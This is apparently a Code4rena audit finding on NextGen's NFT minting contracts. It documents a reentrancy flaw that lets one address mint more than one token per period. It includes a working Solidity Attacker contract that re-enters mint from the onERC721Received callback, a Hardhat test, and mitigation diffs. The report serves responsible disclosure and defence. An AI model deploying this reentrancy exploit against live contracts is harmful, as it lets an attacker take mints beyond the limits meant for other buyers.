User can mint more than one tokens per period

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L193

Vulnerability details

Impact

A malicious user can re-enter the MinterContract.mint function and mint more tokens than the limit of 1 token during each time period

This issue is outlined in the README as follows:

Consider ways in which more than 1 token can be minted at the same time period for the Periodic Sale Model.

Vulnerability details

The MinterContract.mint function is used by users to mint their tokens.

View MinterContract.mint

for(uint256 i = 0; i < _numberOfTokens; i++) {
  uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
  gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
}

Within the NextGenCore.mint function, the _mintProcessing function is called.

View NextGenCore.mint

_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);

function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
  tokenData[_mintIndex] = _tokenData;
  collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
  tokenIdsToCollectionIds[_mintIndex] = _collectionID;
  _safeMint(_recipient, _mintIndex);
}

Following this, the ERC721._safeMint function is invoked, wherein the NFT is minted, and the user's callback onERC721Received is triggered.

View ERC721._safeMint

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
  _mint(to, tokenId);
  require(
    _checkOnERC721Received(address(0), to, tokenId, data),
    "ERC721: transfer to non ERC721Receiver implementer"
  );
}

Due to the user's callback (onERC721Received) called in _checkOnERC721Received, a malicious user can re-enter the MinterContract.mint function, before the tokensMinterPerAddress is updated in NextGenCore.mint

View NextGenCore.mint

_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
    tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
@>  tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}

Allowing them to bypass the maximum limit per address check in MinterContract.mint.

View MinterContract.mint

require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

function retrieveTokensMintedPublicPerAddress(uint256 _collectionID, address _address) external view returns(uint256) {
  return (tokensMintedPerAddress[_collectionID][_address]);
}

This allows the user to mint additional tokens exceeding the max allowance in the public sale.

function viewMaxAllowance(uint256 _collectionID) external view returns (uint256) {
  return(collectionAdditionalData[_collectionID].maxCollectionPurchases);
}

If the salesOption is set to 3, the user should be limited to minting only one token per period. However, due to the reentrancy issue described above, the user is able to mint multiple tokens.

The timePeriod is set by the admin in setCollectionCosts.

Proof of Concept

To execute the POC, you will need to utilize the following Attacker contract. Place this contract in smart-contracts/Attacker.sol.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./IERC721Receiver.sol";
import "./INextGenCore.sol";

interface IMinter {
    function mint(
        uint256 _collectionID,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) external payable;

    function getPrice(uint256 _collectionId) external view returns (uint256);
}

contract Attacker is IERC721Receiver {
    IMinter minter;
    INextGenCore core;
    uint256 collectionId;
    uint256 mintedOver = 0;

    constructor(address _minter, address _core, uint256 _collectionId) {
        minter = IMinter(_minter);
        core = INextGenCore(_core);
        collectionId = _collectionId;
    }

    function mint() public {
        bytes32[] memory proof = new bytes32[](0);

        minter.mint{value: minter.getPrice(collectionId)}(
            collectionId,
            1,
            0,
            '{"tdh": "100"}',
            address(this),
            proof,
            address(this),
            2
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        if (mintedOver < 10) {
            mintedOver++;
            mint();
        }

        return this.onERC721Received.selector;
    }
}

Next, insert the following test case into test/nextGen.test.js and execute it using the command hardhat test ./test/nextGen.test.js --grep 'Mint by period'

describe("Mint by period", function () {
  const COLLECTION_ID = 1;
  const MAX_COLLECTION_PURCHASES = 10;
  const nowTimestamp = Math.floor(Date.now() / 1000);

  beforeEach(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));

    //Verify Fixture
    expect(await contracts.hhAdmin.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhCore.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhDelegation.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhMinter.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhRandomizer.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhRandoms.getAddress()).to.not.equal(ethers.ZeroAddress);

    //Create a collection & Set Data
    await contracts.hhCore.createCollection(
      "Test Collection 1",
      "Artist 1",
      "For testing",
      "www.test.com",
      "CCO",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["desc"]
    );
    await contracts.hhAdmin.registerCollectionAdmin(1, signers.addr1.address, true);
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      COLLECTION_ID, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      MAX_COLLECTION_PURCHASES, // _maxCollectionPurchases
      20, // _collectionTotalSupply
      0 // _setFinalSupplyTimeAfterMint
    );

    //Set Minter Contract
    await contracts.hhCore.addMinterContract(contracts.hhMinter);

    //Set Randomizer Contract
    await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);

    //Set Collection Costs and Phases
    await contracts.hhMinter.setCollectionCosts(
      COLLECTION_ID, // _collectionID
      0, // _collectionMintCost
      0, // _collectionEndMintCost
      0, // _rate
      86400, // _timePeriod
      3, // _salesOptions
      "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
    );
    await contracts.hhMinter.setCollectionPhases(
      COLLECTION_ID, // _collectionID
      nowTimestamp, // _allowlistStartTime
      nowTimestamp + 1, // _allowlistEndTime
      1999999999, // _publicStartTime
      3000000000, // _publicEndTime
      "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
    );
  });

  context("Minting", () => {
    it("Due to reentrancy, the user can mint more than 1 tokens per period", async function () {
      const attackerFactory = await ethers.getContractFactory("smart-contracts/Attacker.sol:Attacker");
      const attacker = await attackerFactory.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        COLLECTION_ID
      );
      const attackerAddress = await attacker.getAddress();

      expect(parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID))).to.equal(MAX_COLLECTION_PURCHASES);
      expect(
        parseInt(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, attackerAddress))
      ).to.equal(0);

      await ethers.provider.send("evm_setNextBlockTimestamp", [2000000000]);
      await ethers.provider.send("evm_mine");

      await attacker.mint();

      const mintedByTheAttacker = parseInt(
        await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, attackerAddress)
      );
      const maxCollectionPurchases = parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID));

      console.log(
        `The attacker has minted: '${mintedByTheAttacker}' tokens, while the max limit of tokens for collection '${COLLECTION_ID}' is '${maxCollectionPurchases}'`
      );
    });
  });
});

Tools Used

Manual Review

Recommended Mitigation Steps

You have two options for addressing the issue:

1. For the MinterContract.mint function use OpenZeppelin's ReentrancyGuard along with the nonReentrant modifier to prevent reentrancy.

-function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
+function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable nonReentrant {

2. Increment tokensMintedPerAddress before the _mintProcessing invocation

if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
+   if (phase == 1) {
+       tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
+   } else {
+       tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
+   }
    _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
-   if (phase == 1) {
-       tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
-   } else {
-       tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
-   }
}

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #51

[c4-pre-sort]

141345 marked the issue as duplicate of #1742

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg marked the issue as partial-50

[c4-judge]

alex-ppg marked the issue as satisfactory